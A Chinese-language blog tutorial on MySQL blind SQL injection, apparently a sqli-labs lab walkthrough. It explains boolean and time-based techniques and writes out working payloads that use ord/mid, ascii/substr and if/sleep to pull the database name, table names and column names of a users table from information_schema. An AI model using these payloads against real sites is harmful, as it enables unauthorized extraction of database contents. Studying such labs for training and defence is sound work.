MySQL盲注②

关于MySQL中盲注大概分为布尔型盲注,时间型盲注
主要会用到一下MySQL函数

在这里插入代码片
ord()转换为整形数值
mid("字符串",1,3)表示提取一个字符串中第一个字符,而且步长为3
limit(0,1)第一个参数指定第一个返回记录行的偏移量,第二个表示返回记录行的最大值
substr()表示把某个字符串提取出来
ascii()将变量变化为ascii转换数值
left()
 //取出字符串左边的几个数据
left(abc,1) 返回a
left(abc,2) 返回ab
right() 
 //取出右边的几个数据
right(abc,1) 返回c
right(abc,2) 返回bc
sleep()表示显示一个页面延时多少可以自己定义
group_concat将所有列的数据输出

MySQL盲注②_第1张图片
MySQL盲注②_第2张图片

/?id=1'and ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>110
//判断数据库名字字母

MySQL盲注②_第3张图片
//改变后面数值大小得到
MySQL盲注②_第4张图片
判断具体数值以后根据ASCII表可以得到对应的字母
MySQL盲注②_第5张图片
从而判断数据库名字,表名字一致方法

and ascii(substr((select column_name from information_schema.columns where table_schema="security"and table_name="users" limit 0,1),1,1))%20%3E1--+通过比较确定数值判断字母

由于过程比较繁琐可以利用python中的爬虫得到
脚本文件:见下一页csdn
MySQL盲注②_第6张图片
关于时间型盲注
由于web页面不显示对错,所以只能依靠if()和sleep()语句判断网页打开延时从而判断是否可以注入
构造判断语句

id=1' and if(1=2,1, sleep(10)) --+ 

id=1" and if(1=2,1, sleep(10)) --+

id=1) and if(1=2,1, sleep(10)) --+

构造暴库语句

http://192.168.1.128/sqli-labs-master/Less-10/?id=1%22%20and%20if(length(database())%3E7,sleep(5),1)%20--+
//增加1值来猜库名的长度

id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+ 
//库名

id 1’ and if((ascii(substr((select column_name   from information_schema. columns where TABLE_name = 'your table' and table_schema = 'your database'limit 0,1),1,1)) > 100),sleep(4),0 )--+
 //表名



MySQL盲注②_第7张图片

你可能感兴趣的:(web安全)